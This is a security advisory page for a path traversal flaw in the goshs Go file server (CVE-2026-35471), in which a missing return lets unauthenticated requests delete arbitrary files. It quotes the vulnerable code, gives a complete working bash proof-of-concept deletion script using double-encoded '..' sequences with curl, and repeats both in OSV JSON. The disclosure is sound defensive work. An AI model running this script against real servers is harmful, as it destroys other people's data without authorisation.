GHSA-6QCC-6Q27-WHP8

Vulnerability from github – Published: 2026-04-03 21:58 – Updated: 2026-04-07 14:19
VLAI?
Summary
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Details

Summary

  • deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671 Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes

Root causes: Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary


Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.5-0.20260401172448-237f3af891a9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:58:47Z",
    "nvd_published_at": "2026-04-06T22:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /\u003cpath\u003e?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n    upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n    fileCleaned, _ := url.QueryUnescape(upath)\n    if strings.Contains(fileCleaned, \"..\") {\n        w.WriteHeader(500)\n        _, err := w.Write([]byte(\"Cannot delete file\"))\n        if err != nil {\n            logger.Errorf(\"error writing answer to client: %+v\", err)\n        }\n        // BUG: no return, falls through to os.RemoveAll\n    }\n\n    deletePath := filepath.Join(fs.Webroot, fileCleaned)\n    err := os.RemoveAll(deletePath)  // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nTARGET=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\n\n# Double-encode \"..\" =\u003e %252e%252e\n# We don\u0027t know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote(\u0027$TARGET_REL\u0027, safe=\u0027/\u0027))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target:  ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
  "id": "GHSA-6qcc-6q27-whp8",
  "modified": "2026-04-07T14:19:34Z",
  "published": "2026-04-03T21:58:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…